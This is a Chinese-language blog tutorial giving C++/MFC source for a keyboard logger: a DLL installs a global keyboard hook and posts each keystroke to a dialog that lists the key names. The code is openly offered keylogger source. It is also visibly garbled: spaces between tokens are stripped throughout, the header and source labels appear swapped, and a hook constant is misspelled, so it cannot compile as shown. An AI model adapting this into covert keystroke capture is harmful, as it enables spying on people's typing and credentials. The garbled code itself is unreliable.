C++键盘记录程序代码
本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:
主程序如下:
就是基于对话框的框架,加个个OnHookKey函数,
longCMainDialog::OnHookKey(WPARAMwParam,LPARAMlParam) //处理自定义消息
{
charszKey[80]={0};
GetKeyNameText(lParam,szKey,80);
CStringstrItem;
strItem.Format("按键:%s\r\n",szKey);
CStringstrEdit;
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
::MessageBeep(MB_OK);
return0;
}在初始化时,调用DLL中的:
SetKeyHook(TRUE,0,m_hWnd)
在析构时,调用DLL中的:
SetKeyHook(FALSE);
.cpp源文件代码:
#include<afxwin.h>
#define HM_KEYWM_USER+100
//CMyApp
classCMyApp:publicCWinApp
{
public:
BOOLInitInstance();
};
//CMyDialog
classCMainDialog:publicCDialog
{
public:
CMainDialog(CWnd*pParentWnd=NULL);
protected:
virtualBOOLOnInitDialog();
afx_msgvoidOnCancel();
afx_msglongOnHookKey(WPARAMwParam,LPARAMlParam); //处理自定义消息的声明
DECLARE_MESSAGE_MAP()
};.h头文件代码:
#include"resource.h"
#include"KeyHookApp.h"
#include"KeyHook.h"
#pragmacomment(lib,"KeyHook.lib")
CMyApptheApp;
BOOLCMyApp::InitInstance()
{
CMainDialogdlg;
m_pMainWnd=&dlg; //给m_pMainWnd主窗口
dlg.DoModal();
returnFALSE;//不进入消息循环
}
BEGIN_MESSAGE_MAP(CMainDialog,CDialog)
ON_MESSAGE(HM_KEY,OnHookKey)//自定义消息
END_MESSAGE_MAP()
//CMainDialog
CMainDialog::CMainDialog(CWnd*pParentWnd):CDialog(IDD_MAIN,pParentWnd)
{
}
BOOLCMainDialog::OnInitDialog()
{
CDialog::OnInitDialog();
if(!SetKeyHook(TRUE,0,m_hWnd))
{
MessageBox("安装钩子失败");
}
returnTRUE;
}
//处理关闭消息
voidCMainDialog::OnCancel()
{
OutputDebugString("oncancel");
SetKeyHook(FALSE);
CDialog::OnCancel();
return;
}
longCMainDialog::OnHookKey(WPARAMwParam,LPARAMlParam) //处理自定义消息
{
charszKey[80]={0};
GetKeyNameText(lParam,szKey,80);
CStringstrItem;
strItem.Format("按键:%s\r\n",szKey);
CStringstrEdit;
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
::MessageBeep(MB_OK);
return0;
}
dll的代码:
.cpp源文件代码:
//KeyHook.cpp:定义DLL应用程序的导出函数。
//
#include"stdafx.h"
#include"KeyHook.h"
//共享数据段
#pragmadata_seg("YCIShared")
HWNDg_hWndCaller=NULL;//保存主窗口句柄
HHOOKg_hHook=NULL;//保存钩子句柄
#pragmadata_seg()
//这是导出变量的一个示例
KEYHOOK_APIintnKeyHook=0;
//这是导出函数的一个示例。
KEYHOOK_APIintfnKeyHook(void)
{
return42;
}
//通过内存得到模块句柄的帮助函数
HMODULEWINAPIModuleFromAddress(LPVOIDpv)
{
MEMORY_BASIC_INFORMATION mbi;
if(0!=::VirtualQuery(pv,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))
{
return(HMODULE)mbi.AllocationBase;
}
else
{
returnNULL;
}
}
//钩子处理函数
LRESULTCALLBACKKeyboardProc(
__in intcode,
__in WPARAMwParam,
__in LPARAMlParam
)
{
if(code<0||code==HC_NOREM)
{
return::CallNextHookEx(g_hHook,code,wParam,lParam);
}
//如果重复消息,交给下一链
if(lParam&0x40000000)
{
return::CallNextHookEx(g_hHook,code,wParam,lParam);
}
//通知主窗口
::PostMessageA(g_hWndCaller,HM_KEY,wParam,lParam);
return::CallNextHookEx(g_hHook,code,wParam,lParam);
}
//安装和卸载钩子函数
BOOLKEYHOOK_APIWINAPISetKeyHook(BOOLbInstall,DWORDdwThreadId,HWNDhWndCaller)
{
BOOLbRet=TRUE;
g_hWndCaller=hWndCaller;
if(bInstall)//安装钩子
{
g_hHook=::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,ModuleFromAddress(KeyboardProc),dwThreadId);
bRet=(g_hHook!=NULL);
}
else//卸载钩子
{
::UnhookWindowsHookEx(g_hHook);
g_hHook=NULL;
}
returnbRet;
}
//这是已导出类的构造函数。
//有关类定义的信息,请参阅KeyHook.h
CKeyHook::CKeyHook()
{
return;
}
.h头文件代码:
//下列ifdef块是创建使从DLL导出更简单的
//宏的标准方法。此DLL中的所有文件都是用命令行上定义的KEYHOOK_EXPORTS
//符号编译的。在使用此DLL的
//任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将
//KEYHOOK_API函数视为是从DLL导入的,而此DLL则将用此宏定义的
//符号视为是被导出的。
#ifdefKEYHOOK_EXPORTS
#defineKEYHOOK_API__declspec(dllexport)
#else
#defineKEYHOOK_API__declspec(dllimport)
#endif
#define HM_KEYWM_USER+100
//此类是从KeyHook.dll导出的
classKEYHOOK_APICKeyHook{
public:
CKeyHook(void);
//TODO:在此添加您的方法。
};
externKEYHOOK_APIintnKeyHook;
KEYHOOK_APIintfnKeyHook(void);
//声明要导出的
BOOLKEYHOOK_APIWINAPISetKeyHook(BOOLbInstall,DWORDdwThreadId=0,HWNDhWndCaller=NULL);.def代码:
EXPORTS SetKeyHook SECTIONS YCIShared ReadWriteShared
希望本文所述对大家的C++程序设计有所帮助。